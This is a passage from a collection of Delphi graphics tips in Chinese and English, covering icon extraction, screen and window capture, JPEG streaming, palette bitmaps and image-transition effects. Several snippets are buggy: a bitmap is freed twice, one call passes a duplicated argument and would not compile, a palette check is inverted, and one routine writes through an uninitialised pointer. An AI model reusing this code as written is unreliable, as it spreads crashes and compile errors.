wNumEntries: WORD;

end;

var

IcoHeader: TFIcoHeader;

/// Output: WORD;

dwBytesWritten: DWORD;

begin

Result := False;

IcoHeader.wReserved := 0;

IcoHeader.wType := 1;

IcoHeader.wNumEntries := WORD(nNumEntries);

if not WriteFile(hFile, IcoHeader, SizeOf(IcoHeader), dwBytesWritten, nil) then

begin

MessageBox(0, pchar(SysErrorMessage(GetLastError)), 'info', MB_OK);

exit;

end;

if dwBytesWritten <> SizeOf(IcoHeader) then

exit;

{

Output := 0;

/// Write 'reserved' WORD

if not WriteFile(hFile, Output, SizeOf(WORD), dwBytesWritten, nil) then

exit;

/// Did we write a WORD?

if dwBytesWritten <> SizeOf(WORD) then exit;

/// Write 'type' WORD (1)

Output := 1;

if not WriteFile(hFile, Output, SizeOf(WORD), dwBytesWritten, nil) then

exit;

if dwBytesWritten <> SizeOf(WORD) then exit;

/// Write Number of Entries

Output := WORD(nNumEntries);

if not WriteFile(hFile, Output, SizeOf(WORD), dwBytesWritten, nil) then

exit;

if dwBytesWritten <> SizeOf(WORD) then exit;

}

Result := True;

end;

function CalculateImageOffset(lpIR: PICONRESOURCE; nIndex: UINT): DWORD;

var

dwSize: DWORD;

i: integer;

begin

/// Calculate the ICO header size

dwSize := 3 * sizeof(WORD);

/// Add the ICONDIRENTRY's

inc(dwSize, lpIR.nNumImages * sizeof(TICONDIRENTRY));

/// Add the sizes of the previous images

for i := 0 to nIndex - 1 do

inc(dwSize, lpIR.IconImages[i].dwNumBytes);

/// we're there - return the number

Result := dwSize;

end;

function WriteIconResourceToFile(hFile: hwnd; lpIR: PICONRESOURCE): Boolean;

var

i: UINT;

dwBytesWritten: DWORD;

ide: TICONDIRENTRY;

dwTemp: DWORD;

begin

/// open the file

Result := False;

/// Write the ICONDIRENTRY's

for i := 0 to lpIR^.nNumImages - 1 do

begin

/// Convert internal format to ICONDIRENTRY

ide.bWidth := lpIR^.IconImages[i].Width;

ide.bHeight := lpIR^.IconImages[i].Height;

ide.bReserved := 0;

ide.wPlanes := lpIR^.IconImages[i].pBmpInfo.bmiHeader.biPlanes;

ide.wBitCount := lpIR^.IconImages[i].pBmpInfo.bmiHeader.biBitCount;

if ide.wPlanes * ide.wBitCount >= 8 then

ide.bColorCount := 0

else

ide.bColorCount := 1 shl (ide.wPlanes * ide.wBitCount);

ide.dwBytesInRes := lpIR^.IconImages[i].dwNumBytes;

ide.dwImageOffset := CalculateImageOffset(lpIR, i);

/// Write the ICONDIRENTRY out to disk

if not WriteFile(hFile, ide, sizeof(TICONDIRENTRY), dwBytesWritten, nil) then

exit;

/// Did we write a full ICONDIRENTRY ?

if dwBytesWritten <> sizeof(TICONDIRENTRY) then

exit;

end;

/// Write the image bits for each image

for i := 0 to lpIR^.nNumImages - 1 do

begin

dwTemp := lpIR^.IconImages[i].pBmpInfo^.bmiHeader.biSizeImage;

/// Set the sizeimage member to zero

lpIR^.IconImages[i].pBmpInfo^.bmiHeader.biSizeImage := 0;

/// Write the image bits to file

if not WriteFile(hFile, lpIR^.IconImages[i].lpBits^, lpIR^.IconImages[i].dwNumBytes, dwBytesWritten, nil) then

exit;

if dwBytesWritten <> lpIR^.IconImages[i].dwNumBytes then

exit;

/// set it back

lpIR^.IconImages[i].pBmpInfo^.bmiHeader.biSizeImage := dwTemp;

end;

Result := True;

end;

function AWriteIconToFile(bitmap: hBitmap; Icon: hIcon; szFileName: string): Boolean;

var

fh: file of byte;

IconInfo: _ICONINFO;

PageInfo: TPageInfo;

PageDataHeader: TPageDataHeader;

IcoFileHeader: TIcoFileHeader;

BitsInfo: tagBITMAPINFO;

p: pointer;

PageDataSize: integer;

begin

Result := False;

GetIconInfo(Icon, IconInfo);

AssignFile(fh, szFileName);

FileMode := 1;

Reset(fh);

GetDIBits(0, Icon, 0, 32, nil, BitsInfo, DIB_PAL_COLORS);

GetDIBits(0, Icon, 0, 32, p, BitsInfo, DIB_PAL_COLORS);

PageDataSize := SizeOf(PageDataHeader) + BitsInfo.bmiHeader.biBitCount;

PageInfo.Width := 32;

PageInfo.Height := 32;

PageInfo.ColorQuantity := 65535;

Pageinfo.Reserved := 0;

PageInfo.PageSize := PageDataSize;

PageInfo.PageOffSet := SizeOf(IcoFileHeader);

IcoFileHeader.FileFlag[0] := 0;

IcoFileHeader.FileFlag[1] := 0;

IcoFileHeader.FileFlag[2] := 1;

IcoFileHeader.FileFlag[3] := 0;

IcoFileHeader.PageQuartity := 1;

IcoFileHeader.PageInfo := PageInfo;

FillChar(PageDataHeader, SizeOf(PageDataHeader), 0);

PageDataHeader.XSize := 32;

PageDataHeader.YSize := 32;

PageDataHeader.SpeDataPerPixSize := 0;

PageDataHeader.ColorDataPerPixSize := 32;

PageDataHeader.PageHeadSize := SizeOf(PageDataHeader);

PageDataHeader.Reserved := 0;

PageDataHeader.DataAreaSize := BitsInfo.bmiHeader.biBitCount;

BlockWrite(fh, IcoFileHeader, SizeOf(IcoFileHeader));

BlockWrite(fh, PageDataHeader, SizeOf(PageDataHeader));

BlockWrite(fh, p, BitsInfo.bmiHeader.biBitCount);

CloseFile(fh);

end;

function AdjustIconImagePointers(lpImage: PICONIMAGE): Bool;

begin

if lpImage = nil then

begin

Result := False;

exit;

end;

lpImage.pBmpInfo := PBitMapInfo(lpImage^.lpBits);

lpImage.Width := lpImage^.pBmpInfo^.bmiHeader.biWidth;

lpImage.Height := (lpImage^.pBmpInfo^.bmiHeader.biHeight) div 2;

lpImage.Colors := lpImage^.pBmpInfo^.bmiHeader.biPlanes * lpImage^.pBmpInfo^.bmiHeader.biBitCount;

Result := true;

end;

function ExtractIconFromFile(ResFileName: string; IcoFileName: string; nIndex: string): Boolean;

var

h: HMODULE;

lpMemIcon: PMEMICONDIR;

lpIR: TICONRESOURCE;

src: HRSRC;

Global: HGLOBAL;

i: integer;

hFile: hwnd;

begin

Result := False;

hFile := CreateFile(pchar(IcoFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

if hFile = INVALID_HANDLE_VALUE then exit; ///Error Create File

h := LoadLibraryEx(pchar(ResFileName), 0, LOAD_LIBRARY_AS_DATAFILE);

if h = 0 then exit;

try

src := FindResource(h, pchar(nIndex), RT_GROUP_ICON);

if src = 0 then

Src := FindResource(h, Pointer(StrToInt(nIndex)), RT_GROUP_ICON);

if src <> 0 then

begin

Global := LoadResource(h, src);

if Global <> 0 then

begin

lpMemIcon := LockResource(Global);

if Global <> 0 then

begin

/// lpIR := @IR;

try

lpIR.nNumImages := lpMemIcon.idCount;

/// Write the header

for i := 0 to lpMemIcon^.idCount - 1 do

begin

src := FindResource(h, MakeIntResource(lpMemIcon^.idEntries[i].nID), RT_ICON);

if src <> 0 then

begin

Global := LoadResource(h, src);

if Global <> 0 then

begin

lpIR.IconImages[i].dwNumBytes := SizeofResource(h, src);

GetMem(lpIR.IconImages[i].lpBits, lpIR.IconImages[i].dwNumBytes);

CopyMemory(lpIR.IconImages[i].lpBits, LockResource(Global), lpIR.IconImages[i].dwNumBytes);

if not AdjustIconImagePointers(@(lpIR.IconImages[i])) then exit;

end;

end;

end;

if WriteICOHeader(hFile, lpIR.nNumImages) then ///No Error Write File

if WriteIconResourceToFile(hFile, @lpIR) then

Result := True;

finally

for i := 0 to lpIR.nNumImages - 1 do

if assigned(lpIR.IconImages[i].lpBits) then

FreeMem(lpIR.IconImages[i].lpBits);

end;

end;

end;

end;

finally

FreeLibrary(h);

end;

CloseHandle(hFile);

end;

end.


屏幕的图象拷贝
屏 幕 的 图 象 拷 贝 了。

var //变量声明

Fullscreen:Tbitmap;

FullscreenCanvas:TCanvas;

dc:HDC;

//------------------------------------------------------------

DC := GetDC (0); //取得屏幕的 DC，参数0指的是屏幕

FullscreenCanvas := TCanvas.Create; //创建一个CANVAS对象

FullscreenCanvas.Handle := DC; //将屏幕的DC赋给HANDLE

Fullscreen.Canvas.CopyRect

(Rect (0, 0, screen.Width,screen.Height),

fullscreenCanvas,

Rect (0, 0, Screen.Width, Screen.Height));

//把整个屏幕复制到BITMAP中

FullscreenCanvas.Free; //释放CANVAS对象

ReleaseDC (0, DC); //释放DC

//SCREEN对象是DELPHI预先定义的屏幕对象，直接使用就行了。

****************************

下面的代码抓窗口：

procedure ScreenShot(hWindow: HWND; bm: TBitmap);

var

Left, Top, Width, Height: Word;

R: TRect;

dc: HDC;

lpPal: PLOGPALETTE;

begin

{Check if valid window handle}

if not IsWindow(hWindow) then Exit;

{Retrieves the rectangular coordinates of the specified window}

GetWindowRect(hWindow, R);

Left := R.Left;

Top := R.Top;

Width := R.Right - R.Left;

Height := R.Bottom - R.Top;

bm.Width := Width;

bm.Height := Height;

{get the screen dc}

dc := GetDc(0);

if (dc = 0) then

begin

Exit;

end;

{do we have a palette device?}

if (GetDeviceCaps(dc, RASTERCAPS) and

RC_PALETTE = RC_PALETTE) then

begin

{allocate memory for a logical palette}

GetMem(lpPal,

SizeOf(TLOGPALETTE) +

(255 * SizeOf(TPALETTEENTRY)));

{zero it out to be neat}

FillChar(lpPal^,

SizeOf(TLOGPALETTE) +

(255 * SizeOf(TPALETTEENTRY)),

#0);

{fill in the palette version}

lpPal^.palVersion := $300;

{grab the system palette entries}

lpPal^.palNumEntries :=

GetSystemPaletteEntries(dc,

0,

256,

lpPal^.palPalEntry);

if (lpPal^.PalNumEntries <> 0) then

begin

{create the palette}

bm.Palette := CreatePalette(lpPal^);

end;

FreeMem(lpPal, SizeOf(TLOGPALETTE) +

(255 * SizeOf(TPALETTEENTRY)));

end;

{copy from the screen to the bitmap}

BitBlt(bm.Canvas.Handle,

0,

0,

Width,

Height,

Dc,

Left,

Top,

SRCCOPY);

{release the screen dc}

ReleaseDc(0, dc);

end;

// Example: Capture the foreground window:

procedure TForm1.Button1Click(Sender: TObject);

begin

ScreenShot(GetForeGroundWindow, Image1.Picture.Bitmap);

end;

***********************

以下代码抓(X,Y)和指定宽度的屏幕内容，并且能够保存调色板

Most of the screenshot code you will see forgets about

the possibility of a palette.

Here is some code that will take a palette into account (if needed).

procedure ScreenShot(x : integer;

y : integer;

Width : integer;

Height : integer;

bm : TBitMap);

var

dc: HDC;

lpPal : PLOGPALETTE;

begin

{test width and height}

if ((Width = 0) OR

(Height = 0)) then begin

exit;

end;

bm.Width := Width;

bm.Height := Height;

{get the screen dc}

dc := GetDc(0);

if (dc = 0) then begin

exit;

end;

{do we have a palette device?}

if (GetDeviceCaps(dc, RASTERCAPS) AND

RC_PALETTE = RC_PALETTE) then begin

{allocate memory for a logical palette}

GetMem(lpPal,

sizeof(TLOGPALETTE) +

(255 * sizeof(TPALETTEENTRY)));

{zero it out to be neat}

FillChar(lpPal^,

sizeof(TLOGPALETTE) +

(255 * sizeof(TPALETTEENTRY)),

#0);

{fill in the palette version}

lpPal^.palVersion := $300;

{grab the system palette entries}

lpPal^.palNumEntries :=

GetSystemPaletteEntries(dc,

0,

256,

lpPal^.palPalEntry);

if (lpPal^.PalNumEntries <0) then begin

{create the palette}

bm.Palette := CreatePalette(lpPal^);

end;

FreeMem(lpPal, sizeof(TLOGPALETTE) +

(255 * sizeof(TPALETTEENTRY)));

end;

{copy from the screen to the bitmap}

BitBlt(bm.Canvas.Handle,

0,

0,

Width,

Height,

Dc,

x,

y,

SRCCOPY);

{release the screen dc}

ReleaseDc(0, dc);

end;

Joe

******************

下面的代码抓矩形：

function CaptureScreen(const Rect: TRect; const BitDepth: TPixelFormat =

pfDevice): TBitmap;

var

hDC: Windows.HDC;

hDesktop: THandle;

begin

// create and define the bitmap

Result := Graphics.TBitmap.Create;

try

case BitDepth of

pfCustom, pfDevice:

Result.PixelFormat := pfDevice;

else

Result.PixelFormat := BitDepth;

end;

Result.Width := Rect.Right - Rect.Left;

Result.Height := Rect.Bottom - Rect.Top;

hDesktop := GetDeskTopWindow();

hDC := GetDC(hDesktop);

try

BitBlt(Result.Canvas.Handle, 0, 0, Result.Width, Result.Height, hDC,

Rect.Left, Rect.Top, SRCCOPY);

finally

ReleaseDC(hDesktop, hDC);

end;

except

FreeAndNil(Result);

end;

end;


屏幕内容以 JPEG 格式存入内存流中
procedure SaveScrToStream(AStream: TMemoryStream);

var

scrWidth, scrHeight: integer;

DC: hDC;

FBitmap: TBitmap;

FJPEGImage: TJPEGImage;

begin

DC := GetDC(0);

FBitmap := TBitmap.Create;

FJPEGImage := TJPEGImage.Create;

try

scrWidth := Screen.Width;

scrHeight := Screen.Height;

FBitmap.Width := scrWidth;

FBitmap.Height := scrHeight;

BitBlt(FBitmap.Canvas.Handle, 0, 0, scrWidth, scrHeight, DC, 0, 0, SRCCOPY);

FJPEGImage.Assign(FBitmap);

FJPEGImage.CompressionQuality := 10;

FJPEGImage.Compress;

AStream.Clear;

FJPEGImage.SaveToStream(AStream);

AStream.Position := 0;

finally

FBitmap.Free;

FJPEGImage.Free;

ReleaseDC(0, DC);

end;

end;

//将内存流中的 JPEG 图像显示出来

procedure DrawJpegStream(AStrem: TMemoryStream; AImage: TImage);

var

FJPEGImage: TJPEGImage;

begin

FJPEGImage := TJPEGImage.Create;

try

FJPEGImage.LoadFromStream(AStream);

AImage.Width := FJPEGImage.Width;

AImage.Height := FJPEGImage.Height;

AImage.Canvas.Draw(0, 0, FJPEGImage);

finally

FJPEGImage.Free;

end;

end;


创建一个位图
创建256色位图的调色板时，要先定义版本号及色彩数，然后对于每一个调色板

的Entry，赋予R,G,B值。在位图的数据中，只需给出对应调色板的索引值，从0

到255。

看看下面的例子。

procedure TForm1.Button1Click(Sender: TObject);

var

x,y : integer;

BitMap : TBitMap;

lplogpal:pMaxLogPalette;//pointer of TMaxLogPalette

p:PByteArray;

begin

BitMap := TBitMap.create;

Bitmap.Width:=256;

Bitmap.Height:=256;

Bitmap.PixelFormat:= pf8bit;

GetMem(lpLogPal,sizeof(TLOGPALETTE) + ((255) * sizeof(TPALETTEENTRY)));

lpLogPal.palVersion := $0300;

lpLogPal.palNumEntries := 256;

for x := 0 to 255 do

begin

lpLogPal.palPalEntry[x].peRed := x;

lpLogPal.palPalEntry[x].peGreen := x;

lpLogPal.palPalEntry[x].peBlue := x;

end;

Bitmap.Palette := CreatePalette(pLogPalette(lpLogPal)^);

FreeMem(lpLogPal,sizeof(TLOGPALETTE) + ((255) * sizeof(TPALETTEENTRY)));

for y := 0 to BitMap.Height -1 do

begin

P := BitMap.ScanLine[y];

for x := 0 to BitMap.Width -1 do

P[x] := Byte(x*y);

end;

canvas.draw(0,0,BitMap);//form.canvas, just for a look:)

end;

**********************

创建位图

One way to create a bitmap from a pixel array is to use the

Windows API function CreateDiBitmap(). This will allow you to

use one of many device independent bitmap formats that Windows

uses to store your pixel data. This has the advantage that it

will work on any Windows system, without knowing the pixel

format that the device uses ahead of time. Properly executed by

optimizing your code, theCreateDiBitmap function can be quite

fast as well. The following example creates a 256 color bitmap

from a pixel array. The bitmap fades from white to black using

256 gray shades. Note that normally, Windows reserves the first

and last ten colors for use as system colors, so you may only

get a maximum of 236 gray shades.

{$IFNDEF WIN32}

type

{Used for pointer math under Win16}

PPtrRec = ^TPtrRec;

TPtrRec = record

Lo: Word;

Hi: Word;

end;

{$ENDIF}

{Used for huge pointer math}

function GetBigPointer(lp: pointer;

Offset: Longint): Pointer;

begin

{$IFDEF WIN32}

GetBigPointer := @PByteArray(lp)^[Offset];

{$ELSE}

Offset := Offset + TPtrRec(lp).Lo;

GetBigPointer := Ptr(TPtrRec(lp).Hi + TPtrRec(Offset).Hi *

SelectorInc,

TPtrRec(Offset).Lo);

{$ENDIF}

end;

procedure TForm1.Button1Click(Sender: TObject);

var

hPixelBuffer : THandle; {Handle to the pixel buffer}

lpPixelBuffer : pointer; {pointer to the pixel buffer}

lpPalBuffer : PLogPalette; {The palette buffer}

lpBitmapInfo : PBitmapInfo; {The bitmap info header}

BitmapInfoSize : longint; {Size of the bitmap info header}

BitmapSize : longint; {Size of the pixel array}

PaletteSize : integer; {Size of the palette buffer}

i : longint; {loop variable}

j : longint; {loop variable}

OldPal : hPalette; {temp palette}

hPal : hPalette; {handle to our palette}

hBm : hBitmap; {handle to our bitmap}

Bm : TBitmap; {temporary TBitmap}

Dc : hdc; {used to convert the DOB to a DDB}

IsPaletteDevice : bool;

begin

Application.ProcessMessages;

{If range checking is on - turn it off for now}

{we will remember if range checking was on by defining}

{a define called CKRANGE if range checking is on.}

{We do this to access array members past the arrays}

{defined index range without causing a range check}

{error at runtime. To satisfy the compiler, we must}

{also access the indexes with a variable. ie: if we}

{have an array defined as a: array[0..0] of byte,}

{and an integer i, we can now access a[3] by setting}

{i := 3; and then accessing a[i] without error}

{$IFOPT R+}

{$DEFINE CKRANGE}

{$R-}

{$ENDIF}

{Lets check to see if this is a palette device - if so, then}

{we must do palette handling for a successful operation.}

{Get the screen's dc to use since memory dc's are not reliable}

dc := GetDc(0);

IsPaletteDevice :=

GetDeviceCaps(dc, RASTERCAPS) and RC_PALETTE = RC_PALETTE;

{Give back the screen dc}

dc := ReleaseDc(0, dc);

{The bitmap info size must be the size of the BitmapInfo}

{plus the size of the color table - one color table entry}

{is already defined in TBitmapInfo}

BitmapInfoSize := sizeof(TBitmapInfo) + (sizeof(TRGBQUAD) * 255);

{The bitmap size must be the width of the bitmap rounded}

{up to the nearest 32 bit boundary}

BitmapSize := (sizeof(byte) * 256) * 256;

{The size of the palette must be the size of a TLogPalette}

{plus the number of color palette entries - 1, since there}

{is already one palette entry defined in TLogPalette}

if IsPaletteDevice then

PaletteSize := sizeof(TLogPalette) + (sizeof(TPaletteEntry) * 255);

{Get the memory for the BitmapInfo, the PixelBuffer, and the Palette}

GetMem(lpBitmapInfo, BitmapInfoSize);

hPixelBuffer := GlobalAlloc(GHND, BitmapSize);

lpPixelBuffer := GlobalLock(hPixelBuffer);

if IsPaletteDevice then

GetMem(lpPalBuffer, PaletteSize);

{Zero out the BitmapInfo, the PixelBuffer, and the Palette}

FillChar(lpBitmapInfo^, BitmapInfoSize, #0);

FillChar(lpPixelBuffer^, BitmapSize, #0);

if IsPaletteDevice then

FillChar(lpPalBuffer^, PaletteSize, #0);

{Fill in the BitmapInfo structure}

lpBitmapInfo^.bmiHeader.biSize := sizeof(TBitmapInfoHeader);

lpBitmapInfo^.bmiHeader.biWidth := 256;

lpBitmapInfo^.bmiHeader.biHeight := 256;

lpBitmapInfo^.bmiHeader.biPlanes := 1;

lpBitmapInfo^.bmiHeader.biBitCount := 8;

lpBitmapInfo^.bmiHeader.biCompression := BI_RGB;

lpBitmapInfo^.bmiHeader.biSizeImage := BitmapSize;

lpBitmapInfo^.bmiHeader.biXPelsPerMeter := 0;

lpBitmapInfo^.bmiHeader.biYPelsPerMeter := 0;

lpBitmapInfo^.bmiHeader.biClrUsed := 256;

lpBitmapInfo^.bmiHeader.biClrImportant := 256;

{Fill in the BitmapInfo color table with gray shades: black to white}

for i := 0 to 255 do

begin

lpBitmapInfo^.bmiColors[i].rgbRed := i;

lpBitmapInfo^.bmiColors[i].rgbGreen := i;

lpBitmapInfo^.bmiColors[i].rgbBlue := i;

end;

{Fill in the pixel buffer array with shades: black to white}

{In a 256 color bitmap the color is an index into the color table}

for i := 0 to 255 do

for j := 0 to 255 do

Byte(GetBigPointer(lpPixelBuffer, i + (j * 256))^) := j;

{Fill in the palette structure}

if IsPaletteDevice then

begin

lpPalBuffer^.palVersion := $300;

lpPalBuffer^.palNumEntries := 256;

{Fill in the palette structure color table}

for i := 0 to 255 do

begin

lpPalBuffer^.PalPalEntry[i].peRed := i;

lpPalBuffer^.PalPalEntry[i].peGreen := i;

lpPalBuffer^.PalPalEntry[i].peBlue := i;

end;

{Create a palette}

hPal := CreatePalette(lpPalBuffer^);

end;

{Get the screen's dc to use for the conversion since}

{memory dc's are not reliable to use for conversions}

dc := GetDc(0);

if IsPaletteDevice then

begin

{If we are using a palette, it must be}

{selected into the dc during the conversion}

OldPal := SelectPalette(dc, hPal, TRUE);

{Realize the palette}

RealizePalette(dc);

end;

{Do the conversion}

hBm := CreateDiBitmap(dc,

lpBitmapInfo^.bmiHeader,

CBM_INIT,

pChar(lpPixelBuffer),

lpBitmapInfo^,

DIB_RGB_COLORS);

if IsPaletteDevice then

begin

{Select the old palette back in}

SelectPalette(dc, OldPal, TRUE);

{Realize the old palette}

RealizePalette(dc);

end;

{Give back the screen dc}

dc := ReleaseDc(0, dc);

{Create a temporory TBitmap}

bm := TBitmap.Create;

{Free up the memory we used}

if IsPaletteDevice then

FreeMem(lpPalBuffer, PaletteSize);

GlobalUnlock(hPixelBuffer);

GlobalFree(hPixelBuffer);

FreeMem(lpBitmapInfo, BitmapInfoSize);

{Assign the palette}

if IsPaletteDevice then

bm.Palette := hPal;

{Assign the handle}

bm.Handle := hBm;

{Size Image1}

Image1.Width := 256;

Image1.Height := 256;

{Assign the bitmap}

Image1.Picture.Bitmap := bm;

SelectPalette(Image1.Picture.Bitmap.Canvas.Handle,

Image1.Picture.Bitmap.Palette,

false);

{Turn range checking back on if it was on when we started}

{$IFDEF CKRANGE}

{$UNDEF CKRANGE}

{$R+}

{$ENDIF}

end;


图形显示技巧
概述

----目前在许多学习软件、游戏光盘中，经常会看到各种图形显示技巧，凭着图形的移动、交错、雨滴状、百页窗、积木堆叠等显现方式，使画面变得更为生动活泼，更能吸引观众。本文将探讨如何在Delphi中实现各种图形显示技巧。

基本原理

----在Delphi中，实现一副图象的显示是非常简单的，只要在Form中定义一个TImage组件，设置其picture属性，然后选择任何有效的.ICO、.BMP、.EMF或.WMF文件，进行Load，所选文

件就显示在TImage组件中了。但这只是直接将图形显示在窗体中，毫无技巧可言。为了使图形显示具有别具一格的效果，可以按下列步骤实现：

----5、定义一个TImage组件，把要显示的图形先装入到TImage组件中，也就是说，把图形内容从磁盘载入内存中，做为图形缓存。

----6、创建一新的位图对象，其尺寸跟TImage组件中的图形一样。

----7、利用画布(Canvas)的CopyRect功能(将一个画布的矩形区域拷贝到另一个画布的矩形区域)，使用技巧，动态形成位图文件内容，然后在窗体中显示位图。

----实现方法

----下面介绍各种图形显示技巧：

----1.推拉效果

----将要显示的图形由上、下、左、右方向拉进屏幕内显示，同时将屏幕上原来的旧图盖掉，此种效果可分为四种，上拉、下拉、左拉、右拉，但原理都差不多，以上拉效果为例。

----原理：首先将放在暂存图形的第一条水平线，搬移至要显示的位图的最后一条，接着再将暂存图形的前两条水平线，依序搬移至要显示位图的最后两条水平线，然后搬移前三条、前四条叄?直到全部图形数据搬完为止。在搬移的过程中即可看到显示的位图由下而上浮起，而

达到上拉的效果。

----程序算法：

procedure TForm1.Button1Click(Sender: TObject);

var

newbmp: TBitmap;

i,bmpheight,bmpwidth:integer;

begin

newbmp:= TBitmap.Create;

newbmp.Width:=image1.Width;

newbmp.Height:=image1.Height;

bmpheight:=image1.Height;

bmpwidth:=image1.Width;

for i:=0 to bmpheight do

begin

newbmp.Canvas.CopyRect(Rect

(0,bmpheight-i,bmpwidth,bmpheight),

image1.Canvas,

Rect(0,0,bmpwidth,i));

form1.Canvas.Draw(120,100,newbmp);

end;

newbmp.free;

newbmp.free;

end;

----2.垂直交错效果

----原理：将要显示的图形拆成两部分，奇数条扫描线由上往下搬移，偶数条扫描线的部分则由下往上搬移，而且两者同时进行。从屏幕上便可看到分别由上下两端出现的较淡图形向屏幕中央移动，直到完全清楚为止。

----程序算法：

procedure TForm1.Button4Click(Sender: TObject);

var

newbmp:TBitmap;

i,j,bmpheight,bmpwidth:integer;

begin

newbmp:= TBitmap.Create;

newbmp.Width:=image1.Width;

newbmp.Height:=image1.Height;

bmpheight:=image1.Height;

bmpwidth:=image1.Width;

i:=0;

while i< =bmpheight do

begin

j:=i;

while j >0 do

begin

newbmp.Canvas.CopyRect(Rect(0,j-1,bmpwidth,j),

image1.Canvas,

Rect(0,bmpheight-i+j-1,bmpwidth,bmpheight-i+j));

newbmp.Canvas.CopyRect(Rect

(0,bmpheight-j,bmpwidth,bmpheight-j+1),

image1.Canvas,

Rect(0,i-j,bmpwidth,i-j+1));

j:=j-2;

end;

form1.Canvas.Draw(120,100,newbmp);

i:=i+2;

end;

newbmp.free;

end;

----3.水平交错效果

----原理：同垂直交错效果原理一样，只是将分成两组后的图形分别由左右两端移进屏幕。

----程序算法：

procedure TForm1.Button5Click(Sender: TObject);

var

newbmp:TBitmap;

i,j,bmpheight,bmpwidth:integer;

begin

newbmp:= TBitmap.Create;

newbmp.Width:=image1.Width;

newbmp.Height:=image1.Height;

bmpheight:=image1.Height;

bmpwidth:=image1.Width;

i:=0;

while i< =bmpwidth do

begin

j:=i;

while j >0 do

begin

newbmp.Canvas.CopyRect(Rect(j-1,0,j,bmpheight),

image1.Canvas,

image1.Canvas,

Rect(bmpwidth-i+j-1,0,bmpwidth-i+j,bmpheight));

newbmp.Canvas.CopyRect(Rect

(bmpwidth-j,0,bmpwidth-j+1,bmpheight),

image1.Canvas,

Rect(i-j,0,i-j+1,bmpheight));

j:=j-2;

end;

form1.Canvas.Draw(120,100,newbmp);

i:=i+2;

end;

newbmp.free;

end;

----4.雨滴效果----原理：将暂存图形的最后一条扫描线，依序搬移到可视位图的第一条到最后一条扫描线，让此条扫描线在屏幕上留下它的轨迹。接着再把暂存图形的倒数第二条扫描线，依序搬移到可视位图的第一条到倒数第二条扫描线。其余的扫描线依此类推。----程序算法：

procedure TForm1.Button3Click(Sender: TObject);

var

newbmp:TBitmap;

i,j,bmpheight,bmpwidth:integer;

begin

newbmp:= TBitmap.Create;

newbmp.Width:=image1.Width;

newbmp.Height:=image1.Height;

bmpheight:=image1.Height;

bmpwidth:=image1.Width;

for i:=bmpheight downto 1 do

for j:=1 to i do

begin

newbmp.Canvas.CopyRect(Rect(0,j-1,bmpwidth,j),

image1.Canvas,

Rect(0,i-1,bmpwidth,i));

form1.Canvas.Draw(120,100,newbmp);

end;

newbmp.free;

end;

----5.百叶窗效果----原理：将放在暂存图形的数据分成若干组，然后依次从第一组到最后一组搬移，第一次每组各搬移第一条扫描线到可视位图的相应位置，第二次搬移第二条扫描线，接着搬移第三条、第四条扫描线.----程序算法：

procedure TForm1.Button6Click(Sender: TObject);

var

newbmp:TBitmap;

i,j,bmpheight,bmpwidth:integer;

xgroup,xcount:integer;

begin

newbmp:= TBitmap.Create;

newbmp.Width:=image1.Width;

newbmp.Height:=image1.Height;

bmpheight:=image1.Height;

bmpwidth:=image1.Width;

xgroup:=16;

xcount:=bmpheight div xgroup;

for i:=0 to xcount do

for j:=0 to xgroup do

begin

newbmp.Canvas.CopyRect(Rect

(0,xcount*j+i-1,bmpwidth,xcount*j+i),

image1.Canvas,

Rect(0,xcount*j+i-1,bmpwidth,xcount*j+i));

form1.Canvas.Draw(120,100,newbmp);

end;

newbmp.Free;

end;

----6.积木效果----原理：是雨滴效果的一种变化，不同之处在于，积木效果每次搬移的是一块图形，而不只是一根扫描线。----程序算法：

procedure TForm1.Button7Click(Sender: TObject);

var

newbmp:TBitmap;

i,j,bmpheight,bmpwidth:integer;

begin

newbmp:= TBitmap.Create;

newbmp.Width:=image1.Width;

newbmp.Height:=image1.Height;

bmpheight:=image1.Height;

bmpwidth:=image1.Width;

i:=bmpheight;

while i>0 do

begin

for j:=10 to i do

begin

newbmp.Canvas.CopyRect(Rect(0,j-10,bmpwidth,j),

image1.Canvas,

Rect(0,i-10,bmpwidth,i));

form1.Canvas.Draw(120,100,newbmp);

end;

i:=i-10;

end;

newbmp.free;

end;

结 束 语

---- 上 述 图 形 显 示 效 果 均 已 上 机 通 过， 软 件 环 境Delphi 3.0

， 硬 件 环 境Pentium 100M 兼 容 机。 使 用 效 果 很 好。

一、界面色彩渐变效果的实现

    界面色彩渐变效果是通过用渐变的画刷刷绘依次相邻的矩形块实现的。下面

列举实例说明:

    1.新建一个表单,假设其Width为500,设置一个按钮Button1,按此按钮将把表

单置为由左向右由黄变白的渐变效果。

    2.Button1按钮的代码如下:

    procedure TForm1.Button1Click(Sender: TObject);

    var i,j:Integer;

    Dct:TRect;

    begin

    j:=Form1.height;

    //获得表单高度

    for i:=0 to 255 do

    //此处设置RGB()中一个颜色值

    begin

    Canvas.Brush.Color:=RGB(255,255,i);

    //每次画矩形的画刷颜色

    Dct:=Rect(i＊2,0,(i＋1)＊2,j);

    //每次刷绘的矩形区域

    Canvas.FillRect(Dct);

    //填充颜色

    end;

    end;

    二、图形整体拉出效果

    单纯的图形整体拉出效果比较简单,动态地改变图形区域的大小就可以实现,

但事先应将图形的“Stretch”设置为“True”。

    举例说明下拉效果:

    1.在表单上放置一图片,高度为200,属性“Height”设为0,“Stretch”设置

为True。添加“Timer”构件, “Interval”设为200,“Enable”设为Ture。

    2.在Timer1Timer中添加代码:

    procedure TForm1.Timer1Timer(Sender: TObject);

    begin

    Image1.Height:=Image1.Height＋20;

    //设置增量

    if image1.Height=200 then Timer1.Enabled:=FALSE;

    //图形整体拉出完毕

    end;

    以上两例在Windows95,Delphi3.0环境下运行通过。

太阳冰转载《电脑报》1999年02月1日第05期

*********************

// 旋转显示

procedure TForm1.Button1Click(Sender: TObject);

begin form1.repaint;

for j:=0 to bitmap.height do

for i:=0 to bitmap.width do

begin

with rect1 do

begin

left:=i;

top:=j;

right:=i+1;

bottom:=j+1;

end;

with rect3 do

begin

left:=j;

top:=i;

right:=j+1;

bottom:=i+1;

end;

canvas.copyrect(rect3,bitmap.canvas,rect1);

end;

end;

//抽点逐渐显示

procedure TForm1.Button2Click(Sender: TObject);

begin

form1.repaint;

for n:=0 to 1 do

for m:=0 to 1 do

for j:=0 to bitmap.height div 2 do

for i:=0 to bitmap.width div 2 do

begin

with rect1 do begin

left:=2*i+m;

top:=2*j+n;

right:=2*i+1+m;

bottom:=2*j+1+n;

end; with rect3 do

begin

left:=2*i+m;

